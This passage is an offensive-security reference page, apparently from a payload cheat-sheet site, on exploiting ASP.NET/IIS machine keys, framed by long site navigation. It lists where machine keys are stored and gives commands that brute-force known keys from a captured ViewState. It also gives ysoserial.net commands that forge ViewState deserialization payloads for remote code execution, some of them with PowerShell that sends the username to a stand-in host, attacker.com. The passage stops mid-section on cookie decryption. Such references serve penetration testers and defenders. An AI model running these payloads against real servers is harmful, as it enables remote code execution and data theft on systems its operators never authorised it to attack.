<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_56">
<span class="md-nav__icon md-icon"></span>
XSLT Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XSLT%20Injection/" class="md-nav__link">
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XSLT Injection
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</ul>
</nav>
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
<span class="md-ellipsis">
XSS Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
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XSS Injection
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<ul class="md-nav__list" data-md-scrollfix>
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<a href="../../XSS%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross Site Scripting
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/1%20-%20XSS%20Filter%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
XSS Filter Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/2%20-%20XSS%20Polyglot/" class="md-nav__link">
<span class="md-ellipsis">
Polyglot XSS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/3%20-%20XSS%20Common%20WAF%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Common WAF Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/4%20-%20CSP%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
CSP Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/5%20-%20XSS%20in%20Angular/" class="md-nav__link">
<span class="md-ellipsis">
XSS in Angular and AngularJS
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
<span class="md-ellipsis">
XXE Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
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XXE Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XXE%20Injection/" class="md-nav__link">
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XML External Entity
</span>
</a>
</li>
</ul>
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</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
<span class="md-ellipsis">
Zip Slip
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_59">
<span class="md-nav__icon md-icon"></span>
Zip Slip
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Zip%20Slip/" class="md-nav__link">
<span class="md-ellipsis">
Zip Slip
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_60" >
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<span class="md-ellipsis">
LEARNING AND SOCIALS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_60_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_60">
<span class="md-nav__icon md-icon"></span>
LEARNING AND SOCIALS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
<span class="md-ellipsis">
Books
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
<span class="md-ellipsis">
Twitter
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
<span class="md-ellipsis">
Youtube
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_61" >
<label class="md-nav__link" for="__nav_61" id="__nav_61_label" tabindex="0">
<span class="md-ellipsis">
template vuln
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_61_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_61">
<span class="md-nav__icon md-icon"></span>
template vuln
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../_template_vuln/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Title
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</div>
</div>
</div>
<div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
<div class="md-sidebar__scrollwrap">
<div class="md-sidebar__inner">
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#viewstate-format" class="md-nav__link">
<span class="md-ellipsis">
Viewstate Format
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#machine-key-format-and-locations" class="md-nav__link">
<span class="md-ellipsis">
Machine Key Format And Locations
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#identify-known-machine-key" class="md-nav__link">
<span class="md-ellipsis">
Identify Known Machine Key
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#decode-viewstate" class="md-nav__link">
<span class="md-ellipsis">
Decode ViewState
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#generate-viewstate-for-rce" class="md-nav__link">
<span class="md-ellipsis">
Generate ViewState For RCE
</span>
</a>
<nav class="md-nav" aria-label="Generate ViewState For RCE">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#mac-is-not-enabled" class="md-nav__link">
<span class="md-ellipsis">
MAC Is Not Enabled
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#mac-is-enabled-and-encryption-is-disabled" class="md-nav__link">
<span class="md-ellipsis">
MAC Is Enabled And Encryption Is Disabled
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#mac-is-enabled-and-encryption-is-enabled" class="md-nav__link">
<span class="md-ellipsis">
MAC Is Enabled And Encryption Is Enabled
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#edit-cookies-with-the-machine-key" class="md-nav__link">
<span class="md-ellipsis">
Edit Cookies With The Machine Key
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</div>
</div>
</div>
<div class="md-content" data-md-component="content">
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<h1 id="iis-machine-keys">IIS Machine Keys</h1>
<blockquote>
<p>That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.</p>
</blockquote>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#viewstate-format">Viewstate Format</a></li>
<li><a href="#machine-key-format-and-locations">Machine Key Format And Locations</a></li>
<li><a href="#identify-known-machine-key">Identify Known Machine Key</a></li>
<li><a href="#decode-viewstate">Decode ViewState</a></li>
<li><a href="#generate-viewstate-for-rce">Generate ViewState For RCE</a><ul>
<li><a href="#mac-is-not-enabled">MAC Is Not Enabled</a></li>
<li><a href="#mac-is-enabled-and-encryption-is-disabled">MAC Is Enabled And Encryption Is Disabled</a></li>
<li><a href="#mac-is-enabled-and-encryption-is-enabled">MAC Is Enabled And Encryption Is Enabled</a></li>
</ul>
</li>
<li><a href="#edit-cookies-with-the-machine-key">Edit Cookies With The Machine Key</a></li>
<li><a href="#references">References</a></li>
</ul>
<h2 id="viewstate-format">Viewstate Format</h2>
<p>ViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.</p>
<table>
<thead>
<tr>
<th>Format</th>
<th>Properties</th>
</tr>
</thead>
<tbody>
<tr>
<td>Base64</td>
<td><code>EnableViewStateMac=False</code>, <code>ViewStateEncryptionMode=False</code></td>
</tr>
<tr>
<td>Base64 + MAC</td>
<td><code>EnableViewStateMac=True</code></td>
</tr>
<tr>
<td>Base64 + Encrypted</td>
<td><code>ViewStateEncryptionMode=True</code></td>
</tr>
</tbody>
</table>
<p>By default until Sept 2014, the <code>enableViewStateMac</code> property was to set to <code>False</code>.
Usually unencrypted viewstate are starting with the string <code>/wEP</code>.</p>
<h2 id="machine-key-format-and-locations">Machine Key Format And Locations</h2>
<p>A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments. </p>
<p>The format of a machineKey is the following.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="nt">&lt;machineKey</span><span class="w"> </span><span class="na">validationKey=</span><span class="s">&quot;[String]&quot;</span><span class="w"> </span><span class="na">decryptionKey=</span><span class="s">&quot;[String]&quot;</span><span class="w"> </span><span class="na">validation=</span><span class="s">&quot;[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]&quot;</span><span class="w"> </span><span class="na">decryption=</span><span class="s">&quot;[Auto (default) | DES | 3DES | AES | alg:algorithm_name]&quot;</span><span class="w"> </span><span class="nt">/&gt;</span>
</code></pre></div>
<p>The <code>validationKey</code> attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with. </p>
<p>The <code>decryptionKey</code> attribute provides a hexadecimal string used to encrypt and decrypt sensitive data. </p>
<p>The <code>validation</code> attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others. </p>
<p>The <code>decryption</code> attribute specifies the encryption algorithm, with options like Auto, DES, 3DES, and AES, or you can specify a custom algorithm using alg:algorithm_name.</p>
<p>The following example of a machineKey is from Microsoft documentation (https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication).</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="nt">&lt;machineKey</span><span class="w"> </span><span class="na">validationKey=</span><span class="s">&quot;87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC&quot;</span><span class="w"> </span><span class="na">decryptionKey=</span><span class="s">&quot;E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7&quot;</span><span class="w"> </span><span class="na">validation=</span><span class="s">&quot;SHA1&quot;</span><span class="w"> </span><span class="nt">/&gt;</span>
</code></pre></div>
<p>Common locations of <strong>web.config</strong> / <strong>machine.config</strong></p>
<ul>
<li>32-bits<ul>
<li><code>C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config</code></li>
<li><code>C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config</code></li>
</ul>
</li>
<li>64-bits<ul>
<li><code>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config</code></li>
<li><code>C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config</code></li>
</ul>
</li>
<li>in the registry when <strong>AutoGenerate</strong> is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)<ul>
<li><code>HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4</code> </li>
<li><code>HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey</code></li>
</ul>
</li>
</ul>
<h2 id="identify-known-machine-key">Identify Known Machine Key</h2>
<p>Try multiple machine keys from known products, Microsoft documentation, or other part of the Internet.</p>
<ul>
<li>
<p><a href="https://github.com/isclayton/viewstalker">isclayton/viewstalker</a></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="p">./</span><span class="n">viewstalker</span> <span class="p">-</span><span class="n">-viewstate</span> <span class="p">/</span><span class="n">wEPD</span><span class="p">...</span><span class="n">TYQ</span><span class="p">==</span> <span class="n">-m</span> <span class="n">3E92B2D6</span> <span class="n">-M</span> <span class="p">./</span><span class="n">MachineKeys2</span><span class="p">.</span><span class="n">txt</span>
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="n">____</span> <span class="n">____</span><span class="p">.</span><span class="n">__</span> <span class="n">__</span> <span class="p">.</span><span class="n">__</span> <span class="n">__</span>
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a><span class="p">\</span> <span class="p">\</span> <span class="p">/</span> <span class="p">/|</span><span class="n">__</span><span class="p">|</span> <span class="n">______</span> <span class="n">_</span> <span class="n">_________</span><span class="p">/</span> <span class="p">|</span><span class="n">______</span> <span class="p">|</span> <span class="p">|</span> <span class="p">|</span> <span class="p">|</span> <span class="n">__</span> <span class="n">___________</span>
<a id="__codelineno-2-4" name="__codelineno-2-4" href="#__codelineno-2-4"></a><span class="p">\</span> <span class="n">Y</span> <span class="p">/</span> <span class="p">|</span> <span class="p">|/</span> <span class="n">__</span> <span class="p">\</span> <span class="p">\/</span> <span class="p">\/</span> <span class="p">/</span> <span class="n">___</span><span class="p">/\</span> <span class="n">__</span><span class="p">\</span><span class="n">__</span> <span class="p">\</span> <span class="p">|</span> <span class="p">|</span> <span class="p">|</span> <span class="p">|/</span> <span class="p">//</span> <span class="n">__</span> <span class="p">\</span><span class="n">_</span> <span class="n">__</span> <span class="p">\</span>
<a id="__codelineno-2-5" name="__codelineno-2-5" href="#__codelineno-2-5"></a><span class="p">\</span> <span class="p">/</span> <span class="p">|</span> <span class="p">\</span> <span class="n">___</span><span class="p">/\</span> <span class="p">/\</span><span class="n">___</span> <span class="p">\</span> <span class="p">|</span> <span class="p">|</span> <span class="p">/</span> <span class="n">__</span> <span class="p">\|</span> <span class="p">|</span><span class="n">_</span><span class="p">|</span> <span class="p">&lt;\</span> <span class="n">___</span><span class="p">/|</span> <span class="p">|</span> <span class="p">\/</span>
<a id="__codelineno-2-6" name="__codelineno-2-6" href="#__codelineno-2-6"></a><span class="p">\</span><span class="n">___</span><span class="p">/</span> <span class="p">|</span><span class="n">__</span><span class="p">|\</span><span class="n">___</span> <span class="p">&gt;\/\</span><span class="n">_</span><span class="p">//</span><span class="n">____</span> <span class="p">&gt;</span> <span class="p">|</span><span class="n">__</span><span class="p">|</span> <span class="p">(</span><span class="n">____</span> <span class="p">/</span><span class="n">____</span><span class="p">/</span><span class="n">__</span><span class="p">|</span><span class="n">_</span> <span class="p">\\</span><span class="n">___</span> <span class="p">&gt;</span><span class="n">__</span><span class="p">|</span>
<a id="__codelineno-2-7" name="__codelineno-2-7" href="#__codelineno-2-7"></a> <span class="p">\/</span> <span class="p">\/</span> <span class="p">\/</span> <span class="p">\/</span> <span class="p">\/</span>
<a id="__codelineno-2-8" name="__codelineno-2-8" href="#__codelineno-2-8"></a>
<a id="__codelineno-2-9" name="__codelineno-2-9" href="#__codelineno-2-9"></a><span class="n">KEY</span> <span class="n">FOUND</span><span class="p">!!!</span>
<a id="__codelineno-2-10" name="__codelineno-2-10" href="#__codelineno-2-10"></a><span class="n">Host</span><span class="p">:</span>
<a id="__codelineno-2-11" name="__codelineno-2-11" href="#__codelineno-2-11"></a><span class="n">Validation</span> <span class="n">Key</span><span class="p">:</span> <span class="n">XXXXX</span><span class="p">,</span><span class="n">XXXXX</span>
</code></pre></div>
</li>
<li>
<p><a href="https://github.com/blacklanternsecurity/badsecrets">blacklanternsecurity/badsecrets</a></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="n">python</span> <span class="n">examples</span><span class="p">/</span><span class="n">blacklist3r</span><span class="p">.</span><span class="n">py</span> <span class="p">-</span><span class="n">-viewstate</span> <span class="p">/</span><span class="n">wEPDwUK</span><span class="p">...</span><span class="n">j81TYQ</span><span class="p">==</span> <span class="p">-</span><span class="n">-generator</span> <span class="n">3E92B2D6</span>
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="n">Matching</span> <span class="n">MachineKeys</span> <span class="n">found</span><span class="p">!</span>
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a><span class="n">validationKey</span><span class="p">:</span> <span class="n">C50B3C89CB21F4F1422FF158A5B42D0E8DB8CB5CDA1742572A487D9401E3400267682B202B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CABE</span> <span class="n">validationAlgo</span><span class="p">:</span> <span class="n">SHA1</span>
</code></pre></div>
</li>
<li>
<p><a href="https://github.com/NotSoSecure/Blacklist3r">NotSoSecure/Blacklist3r</a></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="n">AspDotNetWrapper</span><span class="p">.</span><span class="n">exe</span> <span class="p">-</span><span class="n">-keypath</span> <span class="n">MachineKeys</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-encrypteddata</span> <span class="p">/</span><span class="n">wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs</span><span class="p">=</span> <span class="p">-</span><span class="n">-purpose</span><span class="p">=</span><span class="n">viewstate</span> <span class="p">-</span><span class="n">-valalgo</span><span class="p">=</span><span class="n">sha1</span> <span class="p">-</span><span class="n">-decalgo</span><span class="p">=</span><span class="n">aes</span> <span class="p">-</span><span class="n">-modifier</span><span class="p">=</span><span class="n">CA0B0334</span> <span class="p">-</span><span class="n">-macdecode</span> <span class="p">-</span><span class="n">-legacy</span>
</code></pre></div>
</li>
<li>
<p><a href="https://github.com/0xacb/viewgen">0xacb/viewgen</a></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="p">$</span> <span class="n">viewgen</span> <span class="p">-</span><span class="n">-guess</span> <span class="s2">&quot;/wEPDwUKMTYyOD...WRkuVmqYhhtcnJl6Nfet5ERqNHMADI=&quot;</span>
<a id="__codelineno-5-2" name="__codelineno-5-2" href="#__codelineno-5-2"></a><span class="p">[+]</span> <span class="n">ViewState</span> <span class="n">is</span> <span class="n">not</span> <span class="n">encrypted</span>
<a id="__codelineno-5-3" name="__codelineno-5-3" href="#__codelineno-5-3"></a><span class="p">[+]</span> <span class="n">Signature</span> <span class="n">algorithm</span><span class="p">:</span> <span class="n">SHA1</span>
</code></pre></div>
</li>
</ul>
<p>List of interesting machine keys to use:</p>
<ul>
<li><a href="https://github.com/NotSoSecure/Blacklist3r/raw/f10304bc90efaca56676362a981d93cc312d9087/MachineKey/AspDotNetWrapper/AspDotNetWrapper/Resource/MachineKeys.txt">NotSoSecure/Blacklist3r/MachineKeys.txt</a></li>
<li><a href="https://raw.githubusercontent.com/isclayton/viewstalker/main/MachineKeys2.txt">isclayton/viewstalker/MachineKeys2.txt</a></li>
<li><a href="https://raw.githubusercontent.com/blacklanternsecurity/badsecrets/dev/badsecrets/resources/aspnet_machinekeys.txt">blacklanternsecurity/badsecrets/aspnet_machinekeys.txt</a></li>
</ul>
<h2 id="decode-viewstate">Decode ViewState</h2>
<ul>
<li><a href="https://portswigger.net/bappstore/ba17d9fb487448b48368c22cb70048dc">BApp Store &gt; ViewState Editor</a> - ViewState Editor is an extension that allows you to view and edit the structure and contents of V1.1 and V2.0 ASP view state data.</li>
<li><a href="https://github.com/0xacb/viewgen">0xacb/viewgen</a>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="p">$</span> <span class="n">viewgen</span> <span class="p">-</span><span class="n">-decode</span> <span class="p">-</span><span class="n">-check</span> <span class="p">-</span><span class="n">-webconfig</span> <span class="n">web</span><span class="p">.</span><span class="n">config</span> <span class="p">-</span><span class="n">-modifier</span> <span class="n">CA0B0334</span> <span class="s2">&quot;zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY=&quot;</span>
</code></pre></div></li>
</ul>
<h2 id="generate-viewstate-for-rce">Generate ViewState For RCE</h2>
<p>First you need to decode the Viewstate to know if the MAC and the encryption are enabled. </p>
<p><strong>Requirements</strong></p>
<ul>
<li><code>__VIEWSTATE</code></li>
<li><code>__VIEWSTATEGENERATOR</code></li>
</ul>
<h3 id="mac-is-not-enabled">MAC Is Not Enabled</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="n">ysoserial</span><span class="p">.</span><span class="n">exe</span> <span class="n">-o</span> <span class="n">base64</span> <span class="n">-g</span> <span class="n">TypeConfuseDelegate</span> <span class="o">-f</span> <span class="n">ObjectStateFormatter</span> <span class="n">-c</span> <span class="s2">&quot;powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName&quot;</span>
</code></pre></div>
<h3 id="mac-is-enabled-and-encryption-is-disabled">MAC Is Enabled And Encryption Is Disabled</h3>
<ul>
<li>
<p>Find the machine key (validationkey) using <code>badsecrets</code>, <code>viewstalker</code>, <code>AspDotNetWrapper.exe</code> or <code>viewgen</code>
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="n">AspDotNetWrapper</span><span class="p">.</span><span class="n">exe</span> <span class="p">-</span><span class="n">-keypath</span> <span class="n">MachineKeys</span><span class="p">.</span><span class="n">txt</span> <span class="p">-</span><span class="n">-encrypteddata</span> <span class="p">/</span><span class="n">wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs</span><span class="p">=</span> <span class="p">-</span><span class="n">-purpose</span><span class="p">=</span><span class="n">viewstate</span> <span class="p">-</span><span class="n">-valalgo</span><span class="p">=</span><span class="n">sha1</span> <span class="p">-</span><span class="n">-decalgo</span><span class="p">=</span><span class="n">aes</span> <span class="p">-</span><span class="n">-modifier</span><span class="p">=</span><span class="n">CA0B0334</span> <span class="p">-</span><span class="n">-macdecode</span> <span class="p">-</span><span class="n">-legacy</span>
<a id="__codelineno-8-2" name="__codelineno-8-2" href="#__codelineno-8-2"></a><span class="c"># --modifier = `__VIEWSTATEGENERATOR` parameter value</span>
<a id="__codelineno-8-3" name="__codelineno-8-3" href="#__codelineno-8-3"></a><span class="c"># --encrypteddata = `__VIEWSTATE` parameter value of the target application</span>
</code></pre></div></p>
</li>
<li>
<p>Then generate a ViewState using <a href="https://github.com/pwntester/ysoserial.net">pwntester/ysoserial.net</a>, both <code>TextFormattingRunProperties</code> and <code>TypeConfuseDelegate</code> gadgets can be used.
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="p">.\</span><span class="n">ysoserial</span><span class="p">.</span><span class="n">exe</span> <span class="n">-p</span> <span class="n">ViewState</span> <span class="n">-g</span> <span class="n">TextFormattingRunProperties</span> <span class="n">-c</span> <span class="s2">&quot;powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName&quot;</span> <span class="p">-</span><span class="n">-generator</span><span class="p">=</span><span class="n">CA0B0334</span> <span class="p">-</span><span class="n">-validationalg</span><span class="p">=</span><span class="s2">&quot;SHA1&quot;</span> <span class="p">-</span><span class="n">-validationkey</span><span class="p">=</span><span class="s2">&quot;C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45&quot;</span>
<a id="__codelineno-9-2" name="__codelineno-9-2" href="#__codelineno-9-2"></a><span class="p">.\</span><span class="n">ysoserial</span><span class="p">.</span><span class="n">exe</span> <span class="n">-p</span> <span class="n">ViewState</span> <span class="n">-g</span> <span class="n">TypeConfuseDelegate</span> <span class="n">-c</span> <span class="s2">&quot;powershell.exe -c nslookup http://attacker.com&quot;</span> <span class="p">-</span><span class="n">-generator</span><span class="p">=</span><span class="n">3E92B2D6</span> <span class="p">-</span><span class="n">-validationalg</span><span class="p">=</span><span class="s2">&quot;SHA1&quot;</span> <span class="p">-</span><span class="n">-validationkey</span><span class="p">=</span><span class="s2">&quot;C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45&quot;</span>
<a id="__codelineno-9-3" name="__codelineno-9-3" href="#__codelineno-9-3"></a>
<a id="__codelineno-9-4" name="__codelineno-9-4" href="#__codelineno-9-4"></a><span class="c"># --generator = `__VIEWSTATEGENERATOR` parameter value</span>
<a id="__codelineno-9-5" name="__codelineno-9-5" href="#__codelineno-9-5"></a><span class="c"># --validationkey = validation key from the previous command</span>
</code></pre></div></p>
</li>
</ul>
<h3 id="mac-is-enabled-and-encryption-is-enabled">MAC Is Enabled And Encryption Is Enabled</h3>
<p>Default validation algorithm is <code>HMACSHA256</code> and the default decryption algorithm is <code>AES</code>.</p>
<p>If the <code>__VIEWSTATEGENERATOR</code> is missing but the application uses .NET Framework version 4.0 or below, you can use the root of the app (e.g: <code>--apppath="/testaspx/"</code>). </p>
<ul>
<li>
<p><strong>.NET Framework &lt; 4.5</strong>, ASP.NET always accepts an unencrypted <code>__VIEWSTATE</code> if you remove the <code>__VIEWSTATEENCRYPTED</code> parameter from the request
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="p">.\</span><span class="n">ysoserial</span><span class="p">.</span><span class="n">exe</span> <span class="n">-p</span> <span class="n">ViewState</span> <span class="n">-g</span> <span class="n">TypeConfuseDelegate</span> <span class="n">-c</span> <span class="s2">&quot;echo 123 &gt; c:\windows\temp\test.txt&quot;</span> <span class="p">-</span><span class="n">-apppath</span><span class="p">=</span><span class="s2">&quot;/testaspx/&quot;</span> <span class="p">-</span><span class="n">-islegacy</span> <span class="p">-</span><span class="n">-validationalg</span><span class="p">=</span><span class="s2">&quot;SHA1&quot;</span> <span class="p">-</span><span class="n">-validationkey</span><span class="p">=</span><span class="s2">&quot;70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0&quot;</span> <span class="p">-</span><span class="n">-isdebug</span>
</code></pre></div></p>
</li>
<li>
<p><strong>.NET Framework &gt; 4.5</strong>, the machineKey has the property: <code>compatibilityMode="Framework45"</code>
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="p">.\</span><span class="n">ysoserial</span><span class="p">.</span><span class="n">exe</span> <span class="n">-p</span> <span class="n">ViewState</span> <span class="n">-g</span> <span class="n">TextFormattingRunProperties</span> <span class="n">-c</span> <span class="s2">&quot;echo 123 &gt; c:\windows\temp\test.txt&quot;</span> <span class="p">-</span><span class="n">-path</span><span class="p">=</span><span class="s2">&quot;/somepath/testaspx/test.aspx&quot;</span> <span class="p">-</span><span class="n">-apppath</span><span class="p">=</span><span class="s2">&quot;/testaspx/&quot;</span> <span class="p">-</span><span class="n">-decryptionalg</span><span class="p">=</span><span class="s2">&quot;AES&quot;</span> <span class="p">-</span><span class="n">-decryptionkey</span><span class="p">=</span><span class="s2">&quot;34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887&quot;</span> <span class="p">-</span><span class="n">-validationalg</span><span class="p">=</span><span class="s2">&quot;HMACSHA256&quot;</span> <span class="p">-</span><span class="n">-validationkey</span><span class="p">=</span><span class="s2">&quot;70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0&quot;</span>
</code></pre></div></p>
</li>
</ul>
<h2 id="edit-cookies-with-the-machine-key">Edit Cookies With The Machine Key</h2>
<p>If you have the <code>machineKey</code> but the viewstate is disabled.</p>
<p>ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="c"># decrypt cookie</span>
